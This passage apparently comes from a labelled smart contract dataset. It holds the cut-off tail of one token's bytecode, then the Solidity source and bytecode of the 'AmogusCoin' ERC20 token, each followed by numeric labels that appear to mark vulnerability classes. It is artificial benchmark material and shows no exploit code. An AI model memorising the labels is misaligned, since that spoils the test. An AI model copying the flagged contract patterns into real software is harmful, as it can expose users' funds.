ffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115e65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115ef57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561169a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117085750600f60179054906101000a900460ff165b156117b85760105481111561171c57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061176757600080fd5b603c426117749190612d03565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118635750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118b95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118cf576001600a819055506009600b819055505b60006118da3061074e565b9050600f60159054906101000a900460ff161580156119475750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561195f5750600f60169054906101000a900460ff165b156119875761196d81611b66565b6000479050600081111561198557611984476119fd565b5b505b505b611994838383611e51565b505050565b60008383111582906119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d89190612a6b565b60405180910390fd5b50600083856119f09190612de4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a4d6002846110fc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a78573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ac96002846110fc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611af4573d6000803e3d6000fd5b5050565b6000600854821115611b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3690612aad565b60405180910390fd5b6000611b49611e61565b9050611b5e81846110fc90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b9e57611b9d612fb9565b5b604051908082528060200260200182016040528015611bcc5781602001602082028036833780820191505090505b5090503081600081518110611be457611be3612f8a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8657600080fd5b505afa158015611c9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cbe9190612525565b81600181518110611cd257611cd1612f8a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d3930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111c9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d9d959493929190612be8565b600060405180830381600087803b158015611db757600080fd5b505af1158015611dcb573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083118290611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c9190612a6b565b60405180910390fd5b5060008385611e449190612d59565b9050809150509392505050565b611e5c838383611e8c565b505050565b6000806000611e6e612057565b91509150611e8581836110fc90919063ffffffff16565b9250505090565b600080600080600080611e9e876120b6565b955095509550955095509550611efc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fdd816121c6565b611fe78483612283565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120449190612bcd565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a7640000905061208b670de0b6b3a76400006008546110fc90919063ffffffff16565b8210156120a957600854670de0b6b3a76400009350935050506120b2565b81819350935050505b9091565b60008060008060008060008060006120d38a600a54600b546122bd565b92509250925060006120e3611e61565b905060008060006120f68e878787612353565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061216083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611999565b905092915050565b60008082846121779190612d03565b9050838110156121bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b390612aed565b60405180910390fd5b8091505092915050565b60006121d0611e61565b905060006121e7828461114690919063ffffffff16565b905061223b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122988260085461211e90919063ffffffff16565b6008819055506122b38160095461216890919063ffffffff16565b6009819055505050565b6000806000806122e960646122db888a61114690919063ffffffff16565b6110fc90919063ffffffff16565b905060006123136064612305888b61114690919063ffffffff16565b6110fc90919063ffffffff16565b9050600061233c8261232e858c61211e90919063ffffffff16565b61211e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061236c858961114690919063ffffffff16565b90506000612383868961114690919063ffffffff16565b9050600061239a878961114690919063ffffffff16565b905060006123c3826123b5858761211e90919063ffffffff16565b61211e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006123ef6123ea84612c82565b612c5d565b9050808382526020820190508285602086028201111561241257612411612fed565b5b60005b858110156124425781612428888261244c565b845260208401935060208301925050600181019050612415565b5050509392505050565b60008135905061245b816132b1565b92915050565b600081519050612470816132b1565b92915050565b600082601f83011261248b5761248a612fe8565b5b813561249b8482602086016123dc565b91505092915050565b6000813590506124b3816132c8565b92915050565b6000815190506124c8816132c8565b92915050565b6000813590506124dd816132df565b92915050565b6000815190506124f2816132df565b92915050565b60006020828403121561250e5761250d612ff7565b5b600061251c8482850161244c565b91505092915050565b60006020828403121561253b5761253a612ff7565b5b600061254984828501612461565b91505092915050565b6000806040838503121561256957612568612ff7565b5b60006125778582860161244c565b92505060206125888582860161244c565b9150509250929050565b6000806000606084860312156125ab576125aa612ff7565b5b60006125b98682870161244c565b93505060206125ca8682870161244c565b92505060406125db868287016124ce565b9150509250925092565b600080604083850312156125fc576125fb612ff7565b5b600061260a8582860161244c565b925050602061261b858286016124ce565b9150509250929050565b60006020828403121561263b5761263a612ff7565b5b600082013567ffffffffffffffff81111561265957612658612ff2565b5b61266584828501612476565b91505092915050565b60006020828403121561268457612683612ff7565b5b6000612692848285016124a4565b91505092915050565b6000602082840312156126b1576126b0612ff7565b5b60006126bf848285016124b9565b91505092915050565b6000806000606084860312156126e1576126e0612ff7565b5b60006126ef868287016124e3565b9350506020612700868287016124e3565b9250506040612711868287016124e3565b9150509250925092565b60006127278383612733565b60208301905092915050565b61273c81612e18565b82525050565b61274b81612e18565b82525050565b600061275c82612cbe565b6127668185612ce1565b935061277183612cae565b8060005b838110156127a2578151612789888261271b565b975061279483612cd4565b925050600181019050612775565b5085935050505092915050565b6127b881612e2a565b82525050565b6127c781612e6d565b82525050565b60006127d882612cc9565b6127e28185612cf2565b93506127f2818560208601612e7f565b6127fb81612ffc565b840191505092915050565b6000612813602383612cf2565b915061281e8261300d565b604082019050919050565b6000612836602a83612cf2565b91506128418261305c565b604082019050919050565b6000612859602283612cf2565b9150612864826130ab565b604082019050919050565b600061287c601b83612cf2565b9150612887826130fa565b602082019050919050565b600061289f602183612cf2565b91506128aa82613123565b604082019050919050565b60006128c2602083612cf2565b91506128cd82613172565b602082019050919050565b60006128e5602983612cf2565b91506128f08261319b565b604082019050919050565b6000612908602583612cf2565b9150612913826131ea565b604082019050919050565b600061292b602483612cf2565b915061293682613239565b604082019050919050565b600061294e601783612cf2565b915061295982613288565b602082019050919050565b61296d81612e56565b82525050565b61297c81612e60565b82525050565b60006020820190506129976000830184612742565b92915050565b60006040820190506129b26000830185612742565b6129bf6020830184612742565b9392505050565b60006040820190506129db6000830185612742565b6129e86020830184612964565b9392505050565b600060c082019050612a046000830189612742565b612a116020830188612964565b612a1e60408301876127be565b612a2b60608301866127be565b612a386080830185612742565b612a4560a0830184612964565b979650505050505050565b6000602082019050612a6560008301846127af565b92915050565b60006020820190508181036000830152612a8581846127cd565b905092915050565b60006020820190508181036000830152612aa681612806565b9050919050565b60006020820190508181036000830152612ac681612829565b9050919050565b60006020820190508181036000830152612ae68161284c565b9050919050565b60006020820190508181036000830152612b068161286f565b9050919050565b60006020820190508181036000830152612b2681612892565b9050919050565b60006020820190508181036000830152612b46816128b5565b9050919050565b60006020820190508181036000830152612b66816128d8565b9050919050565b60006020820190508181036000830152612b86816128fb565b9050919050565b60006020820190508181036000830152612ba68161291e565b9050919050565b60006020820190508181036000830152612bc681612941565b9050919050565b6000602082019050612be26000830184612964565b92915050565b600060a082019050612bfd6000830188612964565b612c0a60208301876127be565b8181036040830152612c1c8186612751565b9050612c2b6060830185612742565b612c386080830184612964565b9695505050505050565b6000602082019050612c576000830184612973565b92915050565b6000612c67612c78565b9050612c738282612eb2565b919050565b6000604051905090565b600067ffffffffffffffff821115612c9d57612c9c612fb9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d0e82612e56565b9150612d1983612e56565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d4e57612d4d612f2c565b5b828201905092915050565b6000612d6482612e56565b9150612d6f83612e56565b925082612d7f57612d7e612f5b565b5b828204905092915050565b6000612d9582612e56565b9150612da083612e56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dd957612dd8612f2c565b5b828202905092915050565b6000612def82612e56565b9150612dfa83612e56565b925082821015612e0d57612e0c612f2c565b5b828203905092915050565b6000612e2382612e36565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7882612e56565b9050919050565b60005b83811015612e9d578082015181840152602081019050612e82565b83811115612eac576000848401525b50505050565b612ebb82612ffc565b810181811067ffffffffffffffff82111715612eda57612ed9612fb9565b5b80604052505050565b6000612eee82612e56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2157612f20612f2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132ba81612e18565b81146132c557600080fd5b50565b6132d181612e2a565b81146132dc57600080fd5b50565b6132e881612e56565b81146132f357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a461f47d8bf665dd706a240333c06f98450cafac6c3996e27cdb93a2fd5c2b0164736f6c63430008070033 | [
13,
4,
5
] |
0xf33a2fb866a8ebb06b3a1f92cf434cc1e27357be | pragma solidity ^0.5.00;
// ----------------------------------------------------------------------------
// 'AmogusCoin' token contract
//
// Deployed to : 0x874f0698Bf4585Dd56d17a092b23084De8DD435C
// Symbol : SUS
// Name : AmogusCoin
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Ahiwe Onyebuchi Valentine.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract AmogusCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SUS";
name = "AmogusCoin";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x874f0698Bf4585Dd56d17a092b23084De8DD435C] = _totalSupply;
emit Transfer(address(0), 0x874f0698Bf4585Dd56d17a092b23084De8DD435C, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461021a57806323b872dd14610245578063313ce567146102d85780633eaaf86b1461030957806370a082311461033457806379ba5097146103995780638da5cb5b146103b057806395d89b4114610407578063a293d1e814610497578063a9059cbb146104f0578063b5931f7c14610563578063cae9ca51146105bc578063d05c78da146106c6578063d4ee1d901461071f578063dc39d06d14610776578063dd62ed3e146107e9578063e6cb90131461086e578063f2fde38b146108c7575b600080fd5b34801561012357600080fd5b5061012c610918565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b50610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b6565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610aa8565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af3565b604051808215151515815260200191505060405180910390f35b3480156102e457600080fd5b506102ed610d83565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031557600080fd5b5061031e610d96565b6040518082815260200191505060405180910390f35b34801561034057600080fd5b506103836004803603602081101561035757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9c565b6040518082815260200191505060405180910390f35b3480156103a557600080fd5b506103ae610de5565b005b3480156103bc57600080fd5b506103c5610f84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041357600080fd5b5061041c610fa9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045c578082015181840152602081019050610441565b50505050905090810190601f1680156104895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a357600080fd5b506104da600480360360408110156104ba57600080fd5b810190808035906020019092919080359060200190929190505050611047565b6040518082815260200191505060405180910390f35b3480156104fc57600080fd5b506105496004803603604081101561051357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611063565b604051808215151515815260200191505060405180910390f35b34801561056f57600080fd5b506105a66004803603604081101561058657600080fd5b8101908080359060200190929190803590602001909291905050506111ec565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b506106ac600480360360608110156105df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561062657600080fd5b82018360208201111561063857600080fd5b8035906020019184600183028401116401000000008311171561065a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611210565b604051808215151515815260200191505060405180910390f35b3480156106d257600080fd5b50610709600480360360408110156106e957600080fd5b81019080803590602001909291908035906020019092919050505061145f565b6040518082815260200191505060405180910390f35b34801561072b57600080fd5b50610734611490565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078257600080fd5b506107cf6004803603604081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114b6565b604051808215151515815260200191505060405180910390f35b3480156107f557600080fd5b506108586004803603604081101561080c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061161a565b6040518082815260200191505060405180910390f35b34801561087a57600080fd5b506108b16004803603604081101561089157600080fd5b8101908080359060200190929190803590602001909291905050506116a1565b6040518082815260200191505060405180910390f35b3480156108d357600080fd5b50610916600480360360208110156108ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bd565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109ae5780601f10610983576101008083540402835291602001916109ae565b820191906000526020600020905b81548152906001019060200180831161099157829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610b3e600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611047565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c07600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611047565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd0600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116a1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561103f5780601f106110145761010080835404028352916020019161103f565b820191906000526020600020905b81548152906001019060200180831161102257829003601f168201915b505050505081565b600082821115151561105857600080fd5b818303905092915050565b60006110ae600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611047565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113a600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116a1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156111fc57600080fd5b818381151561120757fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113ed5780820151818401526020810190506113d2565b50505050905090810190601f16801561141a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561143c57600080fd5b505af1158015611450573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061147f575081838281151561147c57fe5b04145b151561148a57600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d757600080fd5b505af11580156115eb573d6000803e3d6000fd5b505050506040513d602081101561160157600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156116b757600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171857600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea165627a7a72305820139fab3e31bb8ec67d9a17df2889981eb2eeb126d972daa343e2de31c3c79ff90029 | [
2
] |
